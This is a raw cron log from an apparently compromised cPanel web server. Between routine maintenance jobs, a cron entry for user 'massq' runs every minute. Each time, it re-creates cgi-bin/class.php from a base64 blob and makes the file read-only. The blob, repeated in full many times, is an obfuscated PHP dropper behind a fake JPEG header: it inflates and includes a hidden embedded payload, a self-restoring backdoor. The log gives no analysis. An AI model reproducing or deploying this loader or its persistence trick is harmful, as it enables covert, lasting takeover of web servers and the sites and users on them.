Sep 12 18:54:01 server CROND[19767]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:55:01 server CROND[20310]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 18:55:01 server CROND[20321]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:55:01 server CROND[20322]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 18:55:01 server CROND[20323]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:55:01 server CROND[20326]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 18:55:01 server CROND[20324]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 18:55:01 server CROND[20329]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:56:01 server CROND[21162]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:56:01 server CROND[21161]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:56:01 server CROND[21163]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:57:01 server CROND[21548]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:57:01 server CROND[21549]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:57:01 server CROND[21550]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:57:01 server CROND[21553]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 18:58:01 server CROND[21930]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:58:01 server CROND[21931]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:58:01 server CROND[21932]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:59:01 server CROND[22311]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:59:01 server CROND[22312]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:59:01 server CROND[22313]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:00:01 server CROND[22957]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 19:00:01 server CROND[22960]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 19:00:01 server CROND[22963]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 12 19:00:01 server CROND[22964]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 19:00:01 server CROND[22968]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:00:01 server CROND[22966]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:00:01 server CROND[22972]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 19:00:01 server CROND[22965]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 19:00:01 server CROND[22970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:01:01 server CROND[23883]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:01:01 server CROND[23884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:01:01 server CROND[23885]: (root) CMD (run-parts /etc/cron.hourly)
Sep 12 19:01:01 server CROND[23889]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:01:01 server run-parts(/etc/cron.hourly)[23885]: starting 0anacron
Sep 12 19:01:01 server run-parts(/etc/cron.hourly)[23905]: finished 0anacron
Sep 12 19:02:01 server CROND[24323]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:02:01 server CROND[24324]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:02:01 server CROND[24325]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:03:01 server CROND[24748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:03:01 server CROND[24749]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:03:01 server CROND[24750]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:04:01 server CROND[25125]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:04:01 server CROND[25124]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:04:01 server CROND[25126]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:05:01 server CROND[25612]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 19:05:01 server CROND[25613]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 19:05:01 server CROND[25614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:05:01 server CROND[25616]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 19:05:01 server CROND[25618]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:05:01 server CROND[25621]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
